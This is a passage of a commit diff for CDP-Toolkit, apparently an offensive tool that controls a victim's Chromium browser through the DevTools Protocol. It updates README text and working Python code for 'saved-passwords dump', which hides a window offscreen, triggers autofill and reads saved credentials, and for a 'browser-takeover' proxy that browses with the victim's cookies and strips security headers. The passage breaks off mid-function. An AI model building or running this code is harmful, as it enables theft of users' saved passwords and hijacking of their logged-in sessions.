mirror of
https://github.com/KingOfTheNOPs/CDP-Toolkit
synced 2026-06-29 08:59:48 +00:00
updates
This commit is contained in:
@@ -96,18 +96,30 @@ Lists saved-password site metadata through the browser's password manager WebUI.
|
|||||||
|
|
||||||
This command inventories saved-password metadata. It does not decrypt passwords directly and does not read the `Login Data` database.
|
This command inventories saved-password metadata. It does not decrypt passwords directly and does not read the `Login Data` database.
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> `saved-passwords list` opens the browser password-manager/settings WebUI through CDP. Edge only populates saved-password rows in a visible target in current testing, so Edge is restricted to `--mode visible`. Chrome works with `--mode visible`, `--mode background`, and `--mode hidden`.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
cdptk saved-passwords list --cdp-endpoint http://127.0.0.1:9222 --out saved-password-sites.json
|
cdptk saved-passwords list --cdp-endpoint http://127.0.0.1:9222 --out saved-password-sites.json
|
||||||
```
|
```
|
||||||
|
|
||||||
### `saved-passwords dump`
|
### `saved-passwords dump`
|
||||||
|
|
||||||
Attempts an autofill-backed password recovery workflow against a real origin. The command creates a target, navigates to the origin, uses either an injected controlled login form or provided selectors, triggers browser autofill with user-like input, and reads the resulting field values through CDP.
|
Attempts an autofill-backed password recovery workflow against a real origin. The command creates a real browser window, optionally parks it offscreen, enables focus emulation, uses either the page's login form or an injected controlled form, triggers browser password autofill with CDP input events, and reads the resulting field values through CDP.
|
||||||
|
|
||||||
This depends on browser state. Autofill behavior can vary based on visibility, user gesture requirements, password manager settings, enterprise policy, origin matching, and whether the browser is willing to fill the form.
|
Start with the real saved login URL and `--no-inject-form`. The saved-password realm and login URL have to match closely. Prefer the exact URL Chrome shows for the saved site, such as `http://test.local/`; a different path, host, or port can prevent the popup from offering the credential even when a similar page is served. `--inject-form` is still useful when the page markup fights autofill, but current testing shows the real page is the better first attempt.
|
||||||
|
|
||||||
|
The popup selection path is deliberately simple: click a credential field, wait for Chromium's saved-password popup, send `ArrowDown` and `Enter` through CDP keyboard events, then read the field values. It tries the username field first, then the password field if needed. The popup is browser UI, so the tool avoids coordinate-clicking the black popup row. Tune `--popup-open-ms` if a slow site needs more time before the keyboard selection.
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> `saved-passwords dump` defaults to `--mode visible` because Chromium's browser-side password popup is native browser UI. `--mode offscreen` parks the window at negative coordinates; Edge handled that in testing, but Chrome may fail if its saved-password popup cannot anchor to the offscreen native window.
|
||||||
|
|
||||||
|
By default, the command prints a compact JSON result with the recovered values and the attempt that worked. Use `--full` when you need the diagnostic window bounds, field geometry, and per-attempt details.
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
cdptk saved-passwords dump https://example.com --cdp-endpoint http://127.0.0.1:9222 --mode visible --out autofill.json
|
cdptk saved-passwords dump http://test.local/ --cdp-endpoint http://127.0.0.1:9222 --no-inject-form --out autofill.json
|
||||||
|
cdptk saved-passwords dump https://example.com/login --cdp-endpoint http://127.0.0.1:9222 --mode visible --popup-open-ms 1200 --out autofill.json
|
||||||
|
cdptk saved-passwords dump https://example.com/login --cdp-endpoint http://127.0.0.1:9222 --full --out autofill-debug.json
|
||||||
cdptk saved-passwords dump https://example.com --cdp-endpoint http://127.0.0.1:9222 --no-inject-form --username-selector "#user" --password-selector "#pass"
|
cdptk saved-passwords dump https://example.com --cdp-endpoint http://127.0.0.1:9222 --no-inject-form --username-selector "#user" --password-selector "#pass"
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -197,7 +209,6 @@ Modes:
|
|||||||
| Mode | What it does |
|
| Mode | What it does |
|
||||||
| --- | --- |
|
| --- | --- |
|
||||||
| `offscreen` | Creates a dedicated window and moves it off-screen before screencasting it. |
|
| `offscreen` | Creates a dedicated window and moves it off-screen before screencasting it. |
|
||||||
| `foreground` | Creates a visible window, useful for troubleshooting. |
|
|
||||||
| `background` | Creates a background tab in the current browser window. |
|
| `background` | Creates a background tab in the current browser window. |
|
||||||
|
|
||||||
### `browser-takeover proxy`
|
### `browser-takeover proxy`
|
||||||
@@ -211,6 +222,9 @@ cdptk browser-takeover proxy `
|
|||||||
--cdp-endpoint http://127.0.0.1:9222 `
|
--cdp-endpoint http://127.0.0.1:9222 `
|
||||||
--listen 127.0.0.1:8080 `
|
--listen 127.0.0.1:8080 `
|
||||||
--cert-dir runs/proxy/certs `
|
--cert-dir runs/proxy/certs `
|
||||||
|
--mode hidden `
|
||||||
|
--resource-strategy safe `
|
||||||
|
--download-policy deny `
|
||||||
-v
|
-v
|
||||||
```
|
```
|
||||||
|
|
||||||
@@ -227,8 +241,9 @@ What the proxy does:
|
|||||||
- Uses victim Chrome to perform upstream document requests.
|
- Uses victim Chrome to perform upstream document requests.
|
||||||
- Preserves victim Chrome cookies and user agent where CDP exposes them.
|
- Preserves victim Chrome cookies and user agent where CDP exposes them.
|
||||||
- Strips blocking CSP/CORS/framing headers to improve operator-side renderability.
|
- Strips blocking CSP/CORS/framing headers to improve operator-side renderability.
|
||||||
- Uses `Network.loadNetworkResource` for GET/HEAD subresources such as fonts, scripts, styles, images, and download-prone extensions so those bytes stream back to the operator instead of causing victim-side downloads.
|
- `--mode hidden` uses hidden CDP fetch targets when supported. Use `--mode background` when hidden targets are unsupported or you want visible browser tabs for troubleshooting.
|
||||||
- Denies hidden-tab browser downloads by default with `--deny-downloads`.
|
- `--resource-strategy safe` uses `Network.loadNetworkResource` for GET/HEAD subresources such as fonts, scripts, styles, images, and download-prone extensions so those bytes stream back to the operator instead of causing victim-side downloads. Use `--resource-strategy navigate` to force the older navigate-everything behavior.
|
||||||
|
- `--download-policy deny` asks each CDP fetch target to deny browser downloads while proxying. Use `--download-policy allow` when you intentionally want browser-managed downloads.
|
||||||
- Retries top-level GET/HEAD attachment navigations that abort with `net::ERR_ABORTED` using a same-origin `Runtime.evaluate(fetch(..., credentials: "include"))` fallback so the operator browser can receive the file.
|
- Retries top-level GET/HEAD attachment navigations that abort with `net::ERR_ABORTED` using a same-origin `Runtime.evaluate(fetch(..., credentials: "include"))` fallback so the operator browser can receive the file.
|
||||||
|
|
||||||
Proxy mode is useful for targeted request/response workflows and for browsing from the victim browser's network position. It is less faithful than screencast mode for complex portals because the operator browser renders and executes JavaScript locally while victim Chrome performs upstream fetches.
|
Proxy mode is useful for targeted request/response workflows and for browsing from the victim browser's network position. It is less faithful than screencast mode for complex portals because the operator browser renders and executes JavaScript locally while victim Chrome performs upstream fetches.
|
||||||
|
|||||||
+357
-64
@@ -1,6 +1,8 @@
|
|||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import asyncio
|
import asyncio
|
||||||
|
import base64
|
||||||
|
import contextlib
|
||||||
import json
|
import json
|
||||||
import sys
|
import sys
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
@@ -12,11 +14,11 @@ from rich.table import Table
|
|||||||
|
|
||||||
from .cdp_proxy import BrowseAsVictimProxyOptions, serve_browse_as_victim_proxy
|
from .cdp_proxy import BrowseAsVictimProxyOptions, serve_browse_as_victim_proxy
|
||||||
from .client import CDPClient
|
from .client import CDPClient
|
||||||
from .discovery import get_version, list_http_targets
|
from .discovery import get_json, get_version, list_http_targets
|
||||||
from .log import info, set_verbose, warn
|
from .log import info, set_verbose, warn
|
||||||
from .redact import redact_cookies
|
from .redact import redact_cookies
|
||||||
from .remote_browser import RemoteBrowserOptions, serve_remote_browser
|
from .remote_browser import RemoteBrowserOptions, serve_remote_browser
|
||||||
from .webui import collect_bookmarks, collect_extensions, collect_history, collect_password_sites
|
from .webui import collect_bookmarks, collect_extensions, collect_history, collect_password_sites, product_prefix
|
||||||
|
|
||||||
HELP_SETTINGS = {"help_option_names": ["-h", "--help"]}
|
HELP_SETTINGS = {"help_option_names": ["-h", "--help"]}
|
||||||
|
|
||||||
@@ -265,7 +267,7 @@ def tabs_screenshot(
|
|||||||
def browser_takeover_screencast(
|
def browser_takeover_screencast(
|
||||||
start_url: str = typer.Option("about:blank", "--start-url", "--url", help="Initial URL for the remote browser target."),
|
start_url: str = typer.Option("about:blank", "--start-url", "--url", help="Initial URL for the remote browser target."),
|
||||||
listen: str = typer.Option("127.0.0.1:8093", "--listen", "-l", help="Operator web console bind address as HOST:PORT."),
|
listen: str = typer.Option("127.0.0.1:8093", "--listen", "-l", help="Operator web console bind address as HOST:PORT."),
|
||||||
mode: str = typer.Option("offscreen", "--mode", help="offscreen, foreground, background"),
|
mode: str = typer.Option("offscreen", "--mode", help="offscreen or background"),
|
||||||
width: int = typer.Option(1440, "--width", min=320, max=7680, help="Remote viewport/window width."),
|
width: int = typer.Option(1440, "--width", min=320, max=7680, help="Remote viewport/window width."),
|
||||||
height: int = typer.Option(900, "--height", min=240, max=4320, help="Remote viewport/window height."),
|
height: int = typer.Option(900, "--height", min=240, max=4320, help="Remote viewport/window height."),
|
||||||
quality: int = typer.Option(70, "--quality", min=1, max=100, help="JPEG screencast quality."),
|
quality: int = typer.Option(70, "--quality", min=1, max=100, help="JPEG screencast quality."),
|
||||||
@@ -281,8 +283,8 @@ def browser_takeover_screencast(
|
|||||||
"""Serve a local operator console that drives a CDP target via screencast."""
|
"""Serve a local operator console that drives a CDP target via screencast."""
|
||||||
|
|
||||||
host, port = parse_listen(listen)
|
host, port = parse_listen(listen)
|
||||||
if mode not in {"offscreen", "foreground", "background"}:
|
if mode not in {"offscreen", "background"}:
|
||||||
raise typer.BadParameter("--mode must be offscreen, foreground, or background")
|
raise typer.BadParameter("--mode must be offscreen or background")
|
||||||
options = RemoteBrowserOptions(
|
options = RemoteBrowserOptions(
|
||||||
cdp_endpoint=cdp_endpoint,
|
cdp_endpoint=cdp_endpoint,
|
||||||
socks=socks,
|
socks=socks,
|
||||||
@@ -310,25 +312,23 @@ def browser_takeover_screencast(
|
|||||||
def browser_takeover_proxy(
|
def browser_takeover_proxy(
|
||||||
listen: str = typer.Option("127.0.0.1:8080", "--listen", "-l", help="Operator browser proxy bind address as HOST:PORT."),
|
listen: str = typer.Option("127.0.0.1:8080", "--listen", "-l", help="Operator browser proxy bind address as HOST:PORT."),
|
||||||
cert_dir: Path = typer.Option(Path("runs/proxy/certs"), "--cert-dir", help="Directory for the generated CA and leaf certificates."),
|
cert_dir: Path = typer.Option(Path("runs/proxy/certs"), "--cert-dir", help="Directory for the generated CA and leaf certificates."),
|
||||||
pool_size: int = typer.Option(3, "--pool-size", min=1, max=16, help="Number of hidden CDP fetch tabs."),
|
pool_size: int = typer.Option(3, "--pool-size", min=1, max=16, help="Number of CDP fetch workers."),
|
||||||
fetch_timeout: float = typer.Option(20.0, "--fetch-timeout", min=1.0, max=180.0, help="Seconds to wait for each CDP-backed fetch."),
|
fetch_timeout: float = typer.Option(20.0, "--fetch-timeout", min=1.0, max=180.0, help="Seconds to wait for each CDP-backed fetch."),
|
||||||
hidden: bool = typer.Option(True, "--hidden/--background", help="Use hidden targets when supported; otherwise use background tabs."),
|
mode: str = typer.Option("hidden", "--mode", help="CDP fetch target type: hidden or background."),
|
||||||
subresource_loader: bool = typer.Option(
|
resource_strategy: str = typer.Option("safe", "--resource-strategy", help="Resource handling: safe or navigate."),
|
||||||
True,
|
download_policy: str = typer.Option("deny", "--download-policy", help="Browser download handling in fetch targets: deny or allow."),
|
||||||
"--subresource-loader/--navigate-subresources",
|
|
||||||
help="Use Network.loadNetworkResource for GET/HEAD subresources to avoid victim-side downloads.",
|
|
||||||
),
|
|
||||||
deny_downloads: bool = typer.Option(
|
|
||||||
True,
|
|
||||||
"--deny-downloads/--allow-downloads",
|
|
||||||
help="Ask each hidden CDP fetch tab to deny browser downloads while proxying.",
|
|
||||||
),
|
|
||||||
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
|
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
|
||||||
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
|
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
|
||||||
) -> None:
|
) -> None:
|
||||||
"""Serve a local HTTP/HTTPS proxy that fetches upstream through victim Chrome."""
|
"""Serve a local HTTP/HTTPS proxy that fetches upstream through victim Chrome."""
|
||||||
|
|
||||||
host, port = parse_listen(listen)
|
host, port = parse_listen(listen)
|
||||||
|
if mode not in {"hidden", "background"}:
|
||||||
|
raise typer.BadParameter("--mode must be hidden or background")
|
||||||
|
if resource_strategy not in {"safe", "navigate"}:
|
||||||
|
raise typer.BadParameter("--resource-strategy must be safe or navigate")
|
||||||
|
if download_policy not in {"deny", "allow"}:
|
||||||
|
raise typer.BadParameter("--download-policy must be deny or allow")
|
||||||
options = BrowseAsVictimProxyOptions(
|
options = BrowseAsVictimProxyOptions(
|
||||||
cdp_endpoint=cdp_endpoint,
|
cdp_endpoint=cdp_endpoint,
|
||||||
socks=socks,
|
socks=socks,
|
||||||
@@ -337,9 +337,9 @@ def browser_takeover_proxy(
|
|||||||
cert_dir=cert_dir,
|
cert_dir=cert_dir,
|
||||||
pool_size=pool_size,
|
pool_size=pool_size,
|
||||||
fetch_timeout=fetch_timeout,
|
fetch_timeout=fetch_timeout,
|
||||||
hidden=hidden,
|
hidden=mode == "hidden",
|
||||||
subresource_loader=subresource_loader,
|
subresource_loader=resource_strategy == "safe",
|
||||||
deny_downloads=deny_downloads,
|
deny_downloads=download_policy == "deny",
|
||||||
)
|
)
|
||||||
try:
|
try:
|
||||||
run(serve_browse_as_victim_proxy(options))
|
run(serve_browse_as_victim_proxy(options))
|
||||||
@@ -546,12 +546,21 @@ def saved_passwords_list(
|
|||||||
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
|
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
|
||||||
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
|
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
|
||||||
limit: int = typer.Option(500, "--limit", "-n"),
|
limit: int = typer.Option(500, "--limit", "-n"),
|
||||||
mode: str = typer.Option("hidden", "--mode", help="visible, background, hidden"),
|
mode: str = typer.Option("visible", "--mode", help="Chrome: visible/background/hidden. Edge: visible only."),
|
||||||
out: Optional[Path] = typer.Option(None, "--out", "-o"),
|
out: Optional[Path] = typer.Option(None, "--out", "-o"),
|
||||||
) -> None:
|
) -> None:
|
||||||
"""List saved-password site metadata through CDP. Does not decrypt passwords."""
|
"""List saved-password site metadata through CDP. Does not decrypt passwords."""
|
||||||
|
|
||||||
async def _run():
|
async def _run():
|
||||||
|
if mode not in {"visible", "background", "hidden"}:
|
||||||
|
raise typer.BadParameter("--mode must be visible, background, or hidden")
|
||||||
|
version = await get_json(cdp_endpoint, "/json/version", proxy=socks)
|
||||||
|
product = version.get("Browser", "") if isinstance(version, dict) else ""
|
||||||
|
if product_prefix(product) == "edge" and mode != "visible":
|
||||||
|
raise typer.BadParameter(
|
||||||
|
"Edge saved-passwords list only supports --mode visible; "
|
||||||
|
"Chrome supports visible, background, and hidden."
|
||||||
|
)
|
||||||
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
|
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
|
||||||
return await collect_password_sites(cdp, limit=limit, mode=mode)
|
return await collect_password_sites(cdp, limit=limit, mode=mode)
|
||||||
|
|
||||||
@@ -565,32 +574,64 @@ def saved_passwords_dump(
|
|||||||
origin: str = typer.Argument(..., help="Origin to test with browser autofill, e.g. https://login.example.com."),
|
origin: str = typer.Argument(..., help="Origin to test with browser autofill, e.g. https://login.example.com."),
|
||||||
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
|
cdp_endpoint: str = REQUIRED_CDP_ENDPOINT,
|
||||||
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
|
socks: Optional[str] = typer.Option(None, "--socks", help="SOCKS proxy for CDP HTTP/WebSocket control traffic."),
|
||||||
mode: str = typer.Option("visible", "--mode", help="visible, background, hidden"),
|
mode: str = typer.Option("visible", "--mode", help="visible or offscreen; visible is more reliable for browser-side autofill UI."),
|
||||||
username_selector: str = typer.Option("#username", "--username-selector"),
|
window_left: int = typer.Option(-31337, "--window-left", help="Offscreen window X coordinate."),
|
||||||
password_selector: str = typer.Option("#password", "--password-selector"),
|
window_top: int = typer.Option(-31337, "--window-top", help="Offscreen window Y coordinate."),
|
||||||
inject_form: bool = typer.Option(True, "--inject-form/--no-inject-form"),
|
width: int = typer.Option(1600, "--width", min=320, max=7680),
|
||||||
|
height: int = typer.Option(1000, "--height", min=240, max=4320),
|
||||||
|
username_selector: str = typer.Option('#username, #email, input[autocomplete="username"], input[name="username"], input[type="email"]', "--username-selector"),
|
||||||
|
password_selector: str = typer.Option('#password, #current-password, input[autocomplete="current-password"], input[type="password"]', "--password-selector"),
|
||||||
|
popup_open_ms: int = typer.Option(900, "--popup-open-ms", help="Milliseconds to wait after clicking a credential field for the saved-password popup to appear."),
|
||||||
|
debug_screenshot: Optional[Path] = typer.Option(None, "--debug-screenshot", help="Write a full-size page screenshot before closing the autofill target."),
|
||||||
|
debug_hold_after_open_ms: int = typer.Option(0, "--debug-hold-after-open-ms", min=0, max=300000, help="Hold after opening the saved-password popup and before sending keyboard selection."),
|
||||||
|
debug_hold_ms: int = typer.Option(0, "--debug-hold-ms", min=0, max=300000, help="Keep the autofill target open for this many milliseconds before cleanup."),
|
||||||
|
inject_form: bool = typer.Option(False, "--inject-form/--no-inject-form"),
|
||||||
|
full: bool = typer.Option(False, "--full", help="Include diagnostic window bounds, field geometry, and attempt details in JSON output."),
|
||||||
out: Optional[Path] = typer.Option(None, "--out", "-o"),
|
out: Optional[Path] = typer.Option(None, "--out", "-o"),
|
||||||
) -> None:
|
) -> None:
|
||||||
"""Attempt a controlled-form autofill readback on a real origin."""
|
"""Attempt a controlled-form autofill readback on a real origin."""
|
||||||
|
|
||||||
async def _run():
|
async def _run():
|
||||||
html = """
|
if mode not in {"offscreen", "visible"}:
|
||||||
<!doctype html><meta charset=utf-8>
|
raise typer.BadParameter("--mode must be visible or offscreen")
|
||||||
<form>
|
|
||||||
<input id=u name=username autocomplete=username>
|
form_html = """
|
||||||
<input id=p name=password type=password autocomplete=current-password>
|
<main style="font-family: sans-serif; max-width: 520px; margin: 48px;">
|
||||||
</form>
|
<h1>Login Page</h1>
|
||||||
<script>document.querySelector('#u').focus();</script>
|
<form id="cdptk-login-form" method="post" autocomplete="on">
|
||||||
|
<label for="username">Username</label>
|
||||||
|
<input id="username" name="username" type="text" autocomplete="username"
|
||||||
|
style="display:block; width:420px; margin:8px 0 16px; font-size:16px;">
|
||||||
|
<label for="current-password">Password</label>
|
||||||
|
<input id="current-password" name="password" type="password" autocomplete="current-password"
|
||||||
|
style="display:block; width:420px; margin:8px 0 16px; font-size:16px;">
|
||||||
|
<button id="submit" type="submit">Login</button>
|
||||||
|
</form>
|
||||||
|
</main>
|
||||||
"""
|
"""
|
||||||
if inject_form:
|
if inject_form:
|
||||||
user_sel = "#u"
|
user_sel = "#username"
|
||||||
pass_sel = "#p"
|
pass_sel = "#current-password"
|
||||||
else:
|
else:
|
||||||
user_sel = username_selector
|
user_sel = username_selector
|
||||||
pass_sel = password_selector
|
pass_sel = password_selector
|
||||||
|
|
||||||
user_sel_js = json.dumps(user_sel)
|
user_sel_js = json.dumps(user_sel)
|
||||||
pass_sel_js = json.dumps(pass_sel)
|
pass_sel_js = json.dumps(pass_sel)
|
||||||
|
form_html_js = json.dumps(form_html)
|
||||||
|
inject_expr = f"""
|
||||||
|
(() => {{
|
||||||
|
let body = document.body;
|
||||||
|
if (!body) {{
|
||||||
|
body = document.createElement('body');
|
||||||
|
document.documentElement.appendChild(body);
|
||||||
|
}}
|
||||||
|
body.innerHTML = {form_html_js};
|
||||||
|
const user = document.querySelector({user_sel_js});
|
||||||
|
if (user) user.focus();
|
||||||
|
return !!user;
|
||||||
|
}})()
|
||||||
|
"""
|
||||||
ready_expr = f"""
|
ready_expr = f"""
|
||||||
(() => {{
|
(() => {{
|
||||||
const user = document.querySelector({user_sel_js});
|
const user = document.querySelector({user_sel_js});
|
||||||
@@ -598,7 +639,10 @@ def saved_passwords_dump(
|
|||||||
return {{
|
return {{
|
||||||
readyState: document.readyState,
|
readyState: document.readyState,
|
||||||
hasUser: !!user,
|
hasUser: !!user,
|
||||||
hasPass: !!pass
|
hasPass: !!pass,
|
||||||
|
visibilityState: document.visibilityState,
|
||||||
|
documentHidden: document.hidden,
|
||||||
|
hasFocus: document.hasFocus()
|
||||||
}};
|
}};
|
||||||
}})()
|
}})()
|
||||||
"""
|
"""
|
||||||
@@ -611,12 +655,27 @@ def saved_passwords_dump(
|
|||||||
return {{
|
return {{
|
||||||
username_x: ub.left + ub.width / 2,
|
username_x: ub.left + ub.width / 2,
|
||||||
username_y: ub.top + ub.height / 2,
|
username_y: ub.top + ub.height / 2,
|
||||||
|
username_left: ub.left,
|
||||||
|
username_top: ub.top,
|
||||||
|
username_right: ub.right,
|
||||||
|
username_bottom: ub.bottom,
|
||||||
|
username_width: ub.width,
|
||||||
|
username_height: ub.height,
|
||||||
password_x: pb.left + pb.width / 2,
|
password_x: pb.left + pb.width / 2,
|
||||||
password_y: pb.top + pb.height / 2,
|
password_y: pb.top + pb.height / 2,
|
||||||
|
password_left: pb.left,
|
||||||
|
password_top: pb.top,
|
||||||
|
password_right: pb.right,
|
||||||
|
password_bottom: pb.bottom,
|
||||||
|
password_width: pb.width,
|
||||||
|
password_height: pb.height,
|
||||||
autocomplete_user: user.autocomplete || "",
|
autocomplete_user: user.autocomplete || "",
|
||||||
autocomplete_pass: pass.autocomplete || "",
|
autocomplete_pass: pass.autocomplete || "",
|
||||||
initial_username: user.value,
|
initial_username: user.value,
|
||||||
initial_password: pass.value
|
initial_password: pass.value,
|
||||||
|
inner_width: window.innerWidth,
|
||||||
|
inner_height: window.innerHeight,
|
||||||
|
device_pixel_ratio: window.devicePixelRatio
|
||||||
}};
|
}};
|
||||||
}})()
|
}})()
|
||||||
"""
|
"""
|
||||||
@@ -636,41 +695,146 @@ def saved_passwords_dump(
|
|||||||
result = await session.evaluate(expression)
|
result = await session.evaluate(expression)
|
||||||
return result.get("result", {}).get("value")
|
return result.get("result", {}).get("value")
|
||||||
|
|
||||||
async def click(session, x: float, y: float) -> None:
|
async def move(session, x: float, y: float) -> None:
|
||||||
await session.send("Input.dispatchMouseEvent", {"type": "mouseMoved", "x": x, "y": y, "button": "none"})
|
|
||||||
await session.send("Input.dispatchMouseEvent", {"type": "mousePressed", "x": x, "y": y, "button": "left", "clickCount": 1})
|
|
||||||
await session.send("Input.dispatchMouseEvent", {"type": "mouseReleased", "x": x, "y": y, "button": "left", "clickCount": 1})
|
|
||||||
|
|
||||||
async def key(session, event_type: str, key_name: str, code: str, vk: int) -> None:
|
|
||||||
await session.send(
|
await session.send(
|
||||||
"Input.dispatchKeyEvent",
|
"Input.dispatchMouseEvent",
|
||||||
|
{"type": "mouseMoved", "x": x, "y": y, "button": "none", "buttons": 0, "pointerType": "mouse"},
|
||||||
|
)
|
||||||
|
|
||||||
|
async def click(session, x: float, y: float) -> None:
|
||||||
|
await move(session, x, y)
|
||||||
|
await session.send(
|
||||||
|
"Input.dispatchMouseEvent",
|
||||||
{
|
{
|
||||||
"type": event_type,
|
"type": "mousePressed",
|
||||||
"key": key_name,
|
"x": x,
|
||||||
"code": code,
|
"y": y,
|
||||||
"windowsVirtualKeyCode": vk,
|
"button": "left",
|
||||||
"nativeVirtualKeyCode": vk,
|
"buttons": 1,
|
||||||
|
"clickCount": 1,
|
||||||
|
"pointerType": "mouse",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
await session.send(
|
||||||
|
"Input.dispatchMouseEvent",
|
||||||
|
{
|
||||||
|
"type": "mouseReleased",
|
||||||
|
"x": x,
|
||||||
|
"y": y,
|
||||||
|
"button": "left",
|
||||||
|
"buttons": 0,
|
||||||
|
"clickCount": 1,
|
||||||
|
"pointerType": "mouse",
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
|
async def key(
|
||||||
|
session,
|
||||||
|
event_type: str,
|
||||||
|
key_name: str,
|
||||||
|
code: str,
|
||||||
|
vk: int,
|
||||||
|
modifiers: int = 0,
|
||||||
|
text: str | None = None,
|
||||||
|
) -> None:
|
||||||
|
payload = {
|
||||||
|
"type": event_type,
|
||||||
|
"key": key_name,
|
||||||
|
"code": code,
|
||||||
|
"windowsVirtualKeyCode": vk,
|
||||||
|
"nativeVirtualKeyCode": vk,
|
||||||
|
"modifiers": modifiers,
|
||||||
|
"autoRepeat": False,
|
||||||
|
"isSystemKey": False,
|
||||||
|
}
|
||||||
|
if code == "ArrowDown":
|
||||||
|
payload["keyIdentifier"] = "Down"
|
||||||
|
elif code == "ArrowUp":
|
||||||
|
payload["keyIdentifier"] = "Up"
|
||||||
|
elif code == "Enter":
|
||||||
|
payload["keyIdentifier"] = "Enter"
|
||||||
|
if text is not None and event_type == "keyDown":
|
||||||
|
payload["text"] = text
|
||||||
|
payload["unmodifiedText"] = text
|
||||||
|
await session.send("Input.dispatchKeyEvent", payload)
|
||||||
|
|
||||||
|
async def press_key(
|
||||||
|
session,
|
||||||
|
key_name: str,
|
||||||
|
code: str,
|
||||||
|
vk: int,
|
||||||
|
*,
|
||||||
|
down_type: str = "rawKeyDown",
|
||||||
|
text: str | None = None,
|
||||||
|
) -> None:
|
||||||
|
await key(session, down_type, key_name, code, vk, text=text)
|
||||||
|
await key(session, "keyUp", key_name, code, vk)
|
||||||
|
|
||||||
|
async def write_debug_screenshot(session, path: Path) -> str:
|
||||||
|
result = await session.send("Page.captureScreenshot", {"format": "png", "fromSurface": True})
|
||||||
|
path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
path.write_bytes(base64.b64decode(result["data"]))
|
||||||
|
info("wrote debug screenshot {}", path)
|
||||||
|
return str(path)
|
||||||
|
|
||||||
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
|
async with await CDPClient.connect(cdp_endpoint, socks) as cdp:
|
||||||
target_id = await cdp.create_target(origin, mode=mode)
|
params = {
|
||||||
|
"url": origin,
|
||||||
|
"newWindow": True,
|
||||||
|
"width": width,
|
||||||
|
"height": height,
|
||||||
|
"windowState": "normal",
|
||||||
|
"focus": True,
|
||||||
|
}
|
||||||
|
if mode == "offscreen":
|
||||||
|
params["left"] = window_left
|
||||||
|
params["top"] = window_top
|
||||||
|
info("creating autofill target mode={} origin={}", mode, origin)
|
||||||
|
target_id = (await cdp.send("Target.createTarget", params))["targetId"]
|
||||||
|
actual_window_bounds = None
|
||||||
|
with contextlib.suppress(Exception):
|
||||||
|
await cdp.send("Target.activateTarget", {"targetId": target_id})
|
||||||
|
with contextlib.suppress(Exception):
|
||||||
|
window = await cdp.send("Browser.getWindowForTarget", {"targetId": target_id})
|
||||||
|
await cdp.send("Browser.setWindowBounds", {"windowId": window["windowId"], "bounds": {"windowState": "normal"}})
|
||||||
|
bounds = {"width": width, "height": height}
|
||||||
|
if mode == "offscreen":
|
||||||
|
bounds["left"] = window_left
|
||||||
|
bounds["top"] = window_top
|
||||||
|
await cdp.send("Browser.setWindowBounds", {"windowId": window["windowId"], "bounds": bounds})
|
||||||
|
actual_window_bounds = (await cdp.send("Browser.getWindowBounds", {"windowId": window["windowId"]})).get("bounds")
|
||||||
session = await cdp.attach(target_id)
|
session = await cdp.attach(target_id)
|
||||||
try:
|
try:
|
||||||
await session.send("Page.enable")
|
await session.send("Page.enable")
|
||||||
await session.send("Runtime.enable")
|
await session.send("Runtime.enable")
|
||||||
await session.send("DOM.enable")
|
await session.send("DOM.enable")
|
||||||
|
with contextlib.suppress(Exception):
|
||||||
|
await session.send("Page.bringToFront")
|
||||||
try:
|
try:
|
||||||
await session.send("Emulation.setFocusEmulationEnabled", {"enabled": True})
|
await session.send("Emulation.setFocusEmulationEnabled", {"enabled": True})
|
||||||
|
focus_emulation = True
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
info(f"focus emulation unavailable: {exc}")
|
info(f"focus emulation unavailable: {exc}")
|
||||||
await session.send("Page.navigate", {"url": origin})
|
focus_emulation = False
|
||||||
await asyncio.sleep(1.0)
|
with contextlib.suppress(Exception):
|
||||||
|
await session.send(
|
||||||
|
"Emulation.setDeviceMetricsOverride",
|
||||||
|
{
|
||||||
|
"width": width,
|
||||||
|
"height": height,
|
||||||
|
"deviceScaleFactor": 1,
|
||||||
|
"mobile": False,
|
||||||
|
"screenWidth": width,
|
||||||
|
"screenHeight": height,
|
||||||
|
},
|
||||||
|
)
|
||||||
if inject_form:
|
if inject_form:
|
||||||
frame_id = (await session.send("Page.getFrameTree"))["frameTree"]["frame"]["id"]
|
await asyncio.sleep(1.0)
|
||||||
await session.send("Page.setDocumentContent", {"frameId": frame_id, "html": html})
|
await value_from_eval(session, inject_expr)
|
||||||
|
await asyncio.sleep(0.5)
|
||||||
|
|
||||||
ready = False
|
ready = False
|
||||||
|
state = {}
|
||||||
for _ in range(30):
|
for _ in range(30):
|
||||||
state = await value_from_eval(session, ready_expr) or {}
|
state = await value_from_eval(session, ready_expr) or {}
|
||||||
if state.get("hasUser") and state.get("hasPass") and state.get("readyState") in {"interactive", "complete"}:
|
if state.get("hasUser") and state.get("hasPass") and state.get("readyState") in {"interactive", "complete"}:
|
||||||
@@ -681,26 +845,155 @@ def saved_passwords_dump(
|
|||||||
raise typer.BadParameter("target page never exposed the requested username/password selectors")
|
raise typer.BadParameter("target page never exposed the requested username/password selectors")
|
||||||
|
|
||||||
pos = await value_from_eval(session, pos_expr) or {}
|
